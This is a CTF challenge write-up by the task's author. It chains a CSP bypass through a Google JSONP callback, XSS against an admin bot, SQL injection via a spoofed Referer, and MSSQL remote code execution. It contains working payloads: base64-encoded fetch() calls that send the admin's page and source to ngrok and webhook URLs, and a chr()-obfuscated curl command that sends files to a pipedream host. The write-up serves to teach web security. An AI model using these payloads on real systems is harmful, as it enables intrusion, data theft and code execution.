CSP BYPASS, XSS > SQLi > RCE (0 solve)

Securinets mini ctf - Treasure hunt web writeup (0 solve)

Intro

We’ve covered during our 1st semester web workshop the following topics in depth:

  • XSS (stored, reflected, dom)
  • Content-security-policy
  • SQL injection (union based, boolean, time based, out of band)
  • Explained RCE

In this task, players were expected to *** bypass CSP, chain XSS > SQLI > RCE*** in order to get the flag.

Good part

Around 4 players tried hard to solve the task, I really helped them in each move and left them in the last step with around 2 hours remaining for the ctf to finish.

One of them mesmerized me, a clever guy that I gave few hints compared to the other players but reached the last step and was thinking in a very logical way : shout out to Heni Yengui, from INSAT, a good revelation! Glad I met you.

Dark side

I admit that web tasks were not balanced in term of difficulty and were designed for few teams in the room. I really apologize for neglecting the early beginners and promise that this won’t happen again. Well.. my bad.

Stay tuned for “End of workshops ctf”, online, Only beginner teams are eligible for the prize and we will be interacting with you the same way we did during “friendly ctf 2k22”. Maybe all our upcoming CTFs will include two leagues to make sure that beginners won’t compete with the pretty experienced teams.

Writeup

Task Description:
The admin got amazing features, can you hunt them ?
Source Code: treasure_hunt.zip

After downloading the source code, you will find two folders

  • Bot Folder: bot visitor app, it’s designed to visit a link that we send.
  • Public Folder: Contains the source code of the running web app

At first, you can see it’s a bunch of python files with , with requirement.txt that contains the python modules the application requires


Before diving deep, at this step we can confirm that the backend is running flask .

First thing to do when dealing with source code is to identify the technology the web app is using.

More about flask

Then, we need to search for the part of the code that it’s handling the routes.


For those new to web development, check Quick Definition of routing

Heading to /website/routes/views/home.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from .route import web
from flask import render_template, request, Response
import re
import requests
import os

url = os.environ.get("URL_BOT")
CSP = [
"base-uri 'self'",
"frame-ancestors 'none'",
"img-src 'self'",
"object-src 'none'",
"script-src 'self' 'unsafe-eval' https://*.google.com/ https://kit.fontawesome.com/",
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com/",
]


def use_regex(input_text):
pattern = re.compile(r"http://webadmin:5000/", re.IGNORECASE)
return pattern.match(input_text)


@web.route("/", defaults={"name": ""})
@web.route("/<name>", methods=["GET"])
def home(name):
if not name:
name = "samurai"
resp = Response((render_template("dashboard.html", name=name)))
resp.headers["Content-Security-Policy"] = ";".join(CSP)
return resp


@web.route("/report", methods=["GET"])
def report():
return render_template("dashboard_report.html")


@web.route("/visit", methods=["POST"])
def visit():
if request.method == "POST":
title = request.form["title"]
description = request.form["description"]
link = request.form["link"]
if not use_regex(link):
return "wrong url format"

obj = {"url": link}
# send to bot
x = requests.post(url, json=obj)
if x.content == b"OK":
return "success!"

return "failed to visit"

Exploring the vulnerable website


Explaining each route

Route Methods Description
/ GET returns landing page, passes name param form endpoint to the static template dashboard.html to render it and return it as a response to user
/report GET returns report page, dashboard_report.html
/visit POST endpoint to handle the report form: checks that the link should start with http://webadmin:5000/ before sending it to the bot to visit it.

Checking templates

/website/templates/dashboard.html
we’ve got two reflection :

*** juicy part ***

next step ?

We can think of a Server Side Template Injection in “name” route variable ? but hell, it’s not ..

1
2
3
4
5
6
7
8
@web.route("/", defaults={"name": ""})
@web.route("/<name>", methods=["GET"])
def home(name):
if not name:
name = "samurai"
resp = Response((render_template("dashboard.html", name=name)))
resp.headers["Content-Security-Policy"] = ";".join(CSP)
return resp

Render_template reflects the name input from the route as a string +perform html characters escaping (no way for xss either)
check more


The only solution is to deal with the second reflection (which is more obvious):
trying to test injection with : script src=””>

We’ve got to bypass content security policy, to check the entire CSP Rules, you can find them in /website/routes/view/home.py
“CSP= [
“base-uri ‘self’”,
“frame-ancestors ‘none’”,
“img-src ‘self’”,
“object-src ‘none’”,
“script-src ‘self’ ‘unsafe-eval’ https://*.google.com/ https://kit.fontawesome.com/",
“style-src ‘self’ ‘unsafe-inline’ https://fonts.googleapis.com/",
] “

*** juicy part ***

script-src ‘self’ ‘unsafe-eval’ https://*.google.com/

In a general context, that might look legit, because our app may load external scripts from google subdomains and we should allow that in csp rules. But how far can we trust third parties ?

CSP BYPASS:
Proof of concept of CSP bypass
http://TASK_IP/?a=script src=https://accounts.google.com/o/oauth2/revoke?callback=alert(12213)
Many players in the room found that indeed.


Now if we want to prove arbitrary js in the browser of the admin, we simply send him the link (that contains our payload) to visit via the report feature :
the simplest thing to prove the execution of our script in the admin browser is to make our injected js code create a redirection to a webhook that we can monitor.

1
(()=>{fetch('https://webhook.site/f359b730-3afa-4e40-83c9-3b00c510fe42',{mode: 'cors'})})()

craft it in an eval(atob(PAYLOAD BASE64 ENCODED)) + url encoding before sending to the bot

1
http://webadmin:5000/?a=script%20src%3Dhttps%3A%2F%2Faccounts.google.com%2Fo%2Foauth2%2Frevoke%3Fcallback%3Deval%28atob%28%27KCgpPT57ZmV0Y2goJ2h0dHBzOi8vd2ViaG9vay5zaXRlL2YzNTliNzMwLTNhZmEtNGU0MC04M2M5LTNiMDBjNTEwZmU0Micse21vZGU6ICdjb3JzJ30pfSkoKQ%27%29%29
  • eval() evaluates js code
  • atob() takes b64 encoded string and decodes it

We’ve got arbitrary JS execution, what’s next ?

Remember that the task description is that admin has amazing features, meaning that features only privileged for the admin, and we, as normal user, can’t see these features.
Many players thought about stealing cookies, but with the source code I provided, there is no implementation for sessions in the backend of the web app.

As we can execute arbitrary JavaScript in the context of the Admin browser: what about exfiltrating the admin source code to see what features he had ? hmmm ..

Exfiltrating admin source code

Setting netcat listener with : nc -nlvp 9000
Publicly binding our listener with ngrok : ngrok http 9000

generated link: https://77d5-41-225-100-94.eu.ngrok.io

  1. Home exfiltration
  • javascript

    1
    (()=>{fetch('https://77d5-41-225-100-94.eu.ngrok.io/?home='+btoa(document.documentElement.innerHTML),{mode: 'cors'})})()

    base64 : KCgpPT57ZmV0Y2goJ2h0dHBzOi8vNzdkNS00MS0yMjUtMTAwLTk0LmV1Lm5ncm9rLmlvLz9ob21lPScrYnRvYShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuaW5uZXJIVE1MKSx7bW9kZTogJ2NvcnMnfSl9KSgp

  • Link to send to admin:

http://webadmin:5000/?a=script%20src%3Dhttps%3A%2F%2Faccounts.google.com%2Fo%2Foauth2%2Frevoke%3Fcallback%3Deval(atob(%27KCgpPT57ZmV0Y2goJ2h0dHBzOi8vNzdkNS00MS0yMjUtMTAwLTk0LmV1Lm5ncm9rLmlvLz9ob21lPScrYnRvYShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuaW5uZXJIVE1MKSx7bW9kZTogJ2NvcnMnfSl9KSgp%27))

Response
B64 home page exfiltration:

Decoded with cyberchef > Html src code of the admin home page

We can either save the code with .html extension file then open it with browser, or dig into it statically to look for new features.


2. /autoadd exfiltration

  • javascript
    1
    2
    3
    4
    5
    ( async () =>{
    let a = await fetch('/autoadd');
    let b = await a.text();
    fetch('https://77d5-41-225-100-94.eu.ngrok.io?a='+btoa(b),{mode: 'cors'})
    })()

Link to send to admin:

1
http://webadmin:5000/?a=script%20src%3Dhttps%3A%2F%2Faccounts.google.com%2Fo%2Foauth2%2Frevoke%3Fcallback%3Deval(atob(%27KCBhc3luYyAoKSA9PnsKICAgIGxldCBhID0gYXdhaXQgZmV0Y2goJy9hdXRvYWRkJyk7CiAgICBsZXQgYiA9IGF3YWl0IGEudGV4dCgpOwogICAgZmV0Y2goJ2h0dHBzOi8vNzdkNS00MS0yMjUtMTAwLTk0LmV1Lm5ncm9rLmlvP2E9JytidG9hKGIpLHttb2RlOiAnY29ycyd9KQogICAgfSkoKQ==%27))

Response:
exfiltrated b64 code

Decode with cyberchef >> Backend code of the admin

interesting part of the code

  • Connection to DB, ODBC driver 17 for SQL > MSSQL DB
  • inserting smthg into db from Referer header ? .. hmm

SQL injection ?

1
2
3
4
def autoadd(val):
print ('Inserting a new row into table')
with cursor.execute("INSERT INTO Inventory (id, name, quantity) VALUES (?,?,'%s');" % (val), '1','1'):
print ('Successfully autoadded!')

We obviously can construct our injection by adding

‘); WHATEVER Query - -

  • ‘); to terminate the current query
  • -- to set the rest of the current query as a comment after our injection

To sum up : /autoadd route from admin source code that we already exfiltrated

1
2
3
4
5
6
7
8
9
10
11
@web.route("/autoadd",methods = ['GET'])
def insert_db_auto():
if request.method == "GET":
b = request.headers['Referer']
t1 = threading.Thread(target=autoadd, args=(b,))
t1.start()
#t1.join()
print(b,file=sys.stderr)
return render_template("autoadd.html")
else:
return "wrong method"

As we have arbitrary JS execution in the context of the admin browser, we want to send him a js code that renders in his browser and make a call to /autoadd endpoint alongside with a custom Referer header that holds our SQLI

1
2
3
4
5
6
7
8
fetch('/autoadd', {
method: "GET",
mode: "cors",
headers: {
"Referer": "our sqli injection"
// spoil alert : won't work!
},
});

For debugging purposes, let’s run a simple flask app with the code that we exfiltrated and print the referer header, then try to send a request from the browser console and see if custom referer header that we are sending is indeed received by the server.


note that our custom header “sent-from” with the value “js fetch” is being sent successfully. Referer header is a special case handled by the browser in a way that we can’t change it.

Referer header ? back to basics

Referer is misspelled because it is misspelled in the actual RFC itself back in 1996—that is totally not my fault.

The Referer header is set by your browser and sent to the server when you request a page. The value of this header is the URL of the previous page that linked to the newly requested page. It is where you came from, essentially.

The problem is that the browser won’t let us change it. It’s forbidden and estimated as highly dangerous.

Let the browser change the referer header ? it’s real

The idea here is to change the history before sending the request as the browser fills the referer header with the previous visited link:

window.history.replaceState(‘null’,’’,’our SQL injection’)


Note : replaceState works only on the same origin, and we’re only able to change the endpoint of the same origin. Still that helps a lot.
more about history.replaceState()

Enough! let’s finish that.. RCE !

Kudos to Heni Yengui for reaching this step ! the only one that noticed that we can’t directly change the referer header from the browser and we need a trick to bypass that, and found the above trick as well but got stuck because the SQLi payload that we injected (after changing history object) is in fact URL ENCODED.

From the the code of the admin backend, there is a part defining a connection between the server and the db, with a little syntax search we can conclude that it’s dealing with MSSQL.
From payload all the things, one interesting thing is that we can execute python script directly from the query, in fact, our mssql server is supplied with Machine Learning packages that allows the execution of both R and Python scripts.

1
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("curl https://eocwjl0xupdpzy0.m.pipedream.net/?$(cat *)"))'

our injection should be :

1
)'; EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("curl https://eocwjl0xupdpzy0.m.pipedream.net/?$(cat *)"))'--

whitespace >> converted by the browser to %20
double quotes >> converted by the browser to %22
Bypass :

1
)';/**/EXECUTE/**/sp_execute_external_script/**/@language =N'Python',@script=N'print(__import__(chr(111)+chr(115)).system(chr(99)+chr(117)+chr(114)+chr(108)+chr(32)+chr(104)+chr(116)+chr(116)+chr(112)+chr(115)+chr(58)+chr(47)+chr(47)+chr(101)+chr(111)+chr(99)+chr(119)+chr(106)+chr(108)+chr(48)+chr(120)+chr(117)+chr(112)+chr(100)+chr(112)+chr(122)+chr(121)+chr(48)+chr(46)+chr(109)+chr(46)+chr(112)+chr(105)+chr(112)+chr(101)+chr(100)+chr(114)+chr(101)+chr(97)+chr(109)+chr(46)+chr(110)+chr(101)+chr(116)+chr(47)+chr(63)+chr(36)+chr(40)+chr(99)+chr(97)+chr(116)+chr(32)+chr(42)+chr(41)))'--

JS to send to admin

1
2
3
window.history.replaceState(null, '', "1');EXECUTE/**/sp_execute_external_script/**/@language=N'Python',@script=N'print(__import__(chr(111)+chr(115)).system(chr(99)+chr(117)+chr(114)+chr(108)+chr(32)+chr(104)+chr(116)+chr(116)+chr(112)+chr(115)+chr(58)+chr(47)+chr(47)+chr(101)+chr(111)+chr(99)+chr(119)+chr(106)+chr(108)+chr(48)+chr(120)+chr(117)+chr(112)+chr(100)+chr(112)+chr(122)+chr(121)+chr(48)+chr(46)+chr(109)+chr(46)+chr(112)+chr(105)+chr(112)+chr(101)+chr(100)+chr(114)+chr(101)+chr(97)+chr(109)+chr(46)+chr(110)+chr(101)+chr(116)+chr(47)+chr(63)+chr(36)+chr(40)+chr(99)+chr(97)+chr(116)+chr(32)+chr(42)+chr(41)))';--")
fetch('/autoadd');
})()

Final Link to send to admin

1
http://webadmin:5000/?a=script src%3Dhttps%3A%2F%2Faccounts.google.com%2Fo%2Foauth2%2Frevoke%3Fcallback%3Deval(atob(%27KCBhc3luYyAoKSA9PnsKd2luZG93Lmhpc3RvcnkucmVwbGFjZVN0YXRlKG51bGwsICcnLCAiMScpO0VYRUNVVEUvKiovc3BfZXhlY3V0ZV9leHRlcm5hbF9zY3JpcHQvKiovQGxhbmd1YWdlPU4nUHl0aG9uJyxAc2NyaXB0PU4ncHJpbnQoX19pbXBvcnRfXyhjaHIoMTExKStjaHIoMTE1KSkuc3lzdGVtKGNocig5OSkrY2hyKDExNykrY2hyKDExNCkrY2hyKDEwOCkrY2hyKDMyKStjaHIoMTA0KStjaHIoMTE2KStjaHIoMTE2KStjaHIoMTEyKStjaHIoMTE1KStjaHIoNTgpK2Nocig0NykrY2hyKDQ3KStjaHIoMTAxKStjaHIoMTExKStjaHIoOTkpK2NocigxMTkpK2NocigxMDYpK2NocigxMDgpK2Nocig0OCkrY2hyKDEyMCkrY2hyKDExNykrY2hyKDExMikrY2hyKDEwMCkrY2hyKDExMikrY2hyKDEyMikrY2hyKDEyMSkrY2hyKDQ4KStjaHIoNDYpK2NocigxMDkpK2Nocig0NikrY2hyKDExMikrY2hyKDEwNSkrY2hyKDExMikrY2hyKDEwMSkrY2hyKDEwMCkrY2hyKDExNCkrY2hyKDEwMSkrY2hyKDk3KStjaHIoMTA5KStjaHIoNDYpK2NocigxMTApK2NocigxMDEpK2NocigxMTYpK2Nocig0NykrY2hyKDYzKStjaHIoMzYpK2Nocig0MCkrY2hyKDk5KStjaHIoOTcpK2NocigxMTYpK2NocigzMikrY2hyKDQyKStjaHIoNDEpKSknOy0tIikKZmV0Y2goJy9hdXRvYWRkJyk7Cn0pKCk=%27))

Note: you can grab a rev shell .. for the sake of the length of this writeup let’s just read the flag and send it to web hook.

FLAG:

Conclusion
That was a part of the web released during securinets local mini ctf. That was a bit destructive, I admit, yet it was source code available and I am proud that this kind of challenge made me discover new super clevers in the room.
For the early beginners, I had an agreement with those who attended the web workshop during 1st semester to release a super instructive and ez challanges asap in an individual ctf format (only web), they will no longer be competing with the pretty advanced teams, and ofc the winner will get an amazing 200dt prize.